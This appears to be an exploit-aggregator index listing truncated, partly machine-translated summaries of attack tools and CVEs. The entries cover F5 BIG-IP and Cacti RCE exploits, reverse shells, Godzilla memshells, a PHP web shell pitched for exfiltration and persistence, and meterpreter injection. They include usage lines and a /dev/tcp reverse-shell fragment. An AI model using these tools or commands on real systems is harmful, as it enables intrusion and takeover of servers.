F5-BIG-IP-SmuggleShell-CVE-2023-46747-Exploit

F5 BIG-IP CVE-2023-46747 – Nicht authentifizierte RCE + Reverse Shell Python3 & Nuclei-Versionen – von raguraman Kritische RCE ohne Authentifizierung CVSS 9.8 über AJP + HTTP-Request-Smuggling Funktioniert auf allen ungepatchten BIG-IP-Versionen 13.x → 17.x einschließlich der neuesten 17.1.0.3...

LFiFreak

LFI Freak ============= Caratteristiche Funziona con Windows, Linux e OS X Include bind shell e reverse shell sia per Windows che per Linux Scritto in Python 2.7 Di cosa si tratta? Uno strumento unico per sfruttare le inclusioni locali di file utilizzando i metodi PHP Input, PHP Filter e Data URI...

cve-2024-31317

CVE-2024-31317 की खोज CVE-2024-31317 एक अनप्रिविलेज्ड ऐप को किसी भी uid और SELinux स्कोप तक पहुंच प्रदान करता है जो उचित Android ऐप्स के लिए उपलब्ध है। यह uid 1000 system और uid 2000 shell तक पहुंच प्रदान करता है, और इसे पूरी तरह से एक अनप्रिविलेज्ड ऐप से ट्रिगर किया जा सकता है, जिससे इसका उपयोग...

CVE-2023-22527-Godzilla-MEMSHELL

CVE-2023-22527-Godzilla-MEMSHELL उपयोग नोट: परीक्षण संस्करण 8.5.1 है, अन्य संस्करण भी काम करेंगे, लेकिन परीक्षण नहीं किया गया। root@kitploit: सामग्री Beichen द्वारा पिछले टूल से संदर्भित है। java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url गॉडज़िला पासवर्ड गॉडज़िला कुंजी उदाहरण java -jar...

CVE-2022-46169

CVE-2022-41343 🐍 CVE-2022-46169 के लिए पायथन एक्सप्लॉइट Cacti = 1.2.22 के लिए स्टेज्ड रिवर्स शेल उदाहरण root@kitploit: cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb उपयोग root@kitploit: usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Shell Callback IP Address/Host...

filtron

Filtron Reverse HTTP proxy to filter requests by different rules. Can be used between production webserver and the application server to prevent abuse of the application backend. The original purpose of this program was to defend searx, but it can be used to guard any web application. Installatio...

Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection

Sunhillo SureLine 8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request...

ElasticSearch - Remote Code Execution

ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine. id: CVE-2015-1427 info: name: ElasticSearch - Remote Code Execution author: pikpikcu...

CVE-2022-22947

منسوخ من Original: https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947...

EUVD-2020-31269

An issue was discovered in LibreNMS 1.65. A remote authenticated attacker with normal privileges can execute arbitrary shell commands through a command injection in the /graph.php API endpoint...

PT-2026-81983

EFence developed by Thinking Software Technology has an Arbitrary File Upload vulnerability. Unauthenticated remote attackers can upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server...

PT-2026-82213

Name of the Vulnerable Software and Affected Versions bestzip versions prior to 2.2.6 bestzip versions prior to 3.0.2 Description The software constructs the argument list for the system zip utility without separating options from operands. Because the destination archive path and caller-supplied...

CVE-2019-15107

Vulnerabilità RCE nello strumento di amministrazione server Webmin CVE-2019-15107 Riepilogo CVE-2019-15107 è una vulnerabilità in Webmin, uno strumento di amministrazione di sistema basato sul web per sistemi Unix. Si verifica nel codice che gestisce la modifica della password, dove un parametro...

BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC-Werkzeug ======= BadBash ist ein CVE-2014-6271 RCE Exploit-Werkzeug. Die Basisversion überprüft nur die HTTP CGI-Seite und bietet nur eine netcat Reverse-Shell auf Port 1234. Entwickler : Andy Yang Version : 0.1.0 Lizenz : GPLv3 Original GitHub-Projekt :...

log4j-rce-test

Compilazione ./build.sh Avvia il server log4j RCE ./start-log4j-rce-server.sh Test Esegui java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Controlla se ottieni log in hack.log dalla cartella corrente Puoi modificare questa riga String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + "...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2026-80138 ClipBucket V5 5.5.1 through 5.5.3-#153 OS Command Injection via Installer php_cli_filepath Parameter

ClipBucket V5's web installer fails to properly validate or escape the phpclifilepath parameter before passing it to shell execution. Unauthenticated attackers can submit a crafted POST request to the installer with a malicious phpclifilepath value to execute arbitrary commands as the web server...

casper-shell

🦇 Casper@shell: - Web Shell PHP Avanzata Casper@shell: è una versione potenziata e più user-friendly della shell p0wny, con molte nuove funzionalità. Questa versione mira a essere più utile per eseguire rapidamente ricognizioni, esfiltrazioni o distribuire meccanismi di persistenza. ✨...

cve-2022-1388-1veresk

CVE-2022-1388 por 1vere$k CVE-2022-1388 la prueba de concepto. Dos regímenes de trabajo con: URL objetivo simple, el PUERTO predeterminado será 80 si no se menciona; archivo con lista de objetivos : \n\r; Usage root@kitploit: echo...

CmdLineSpoofer

Spoofer della riga di comando Un esempio di utilizzo di C per iniettare una shell meterpreter, mentre si spoofa la riga di comando. La riga di comando è memorizzata nel Process Environment Block, viene registrata quando un nuovo processo viene avviato e viene visualizzata in strumenti come Proces...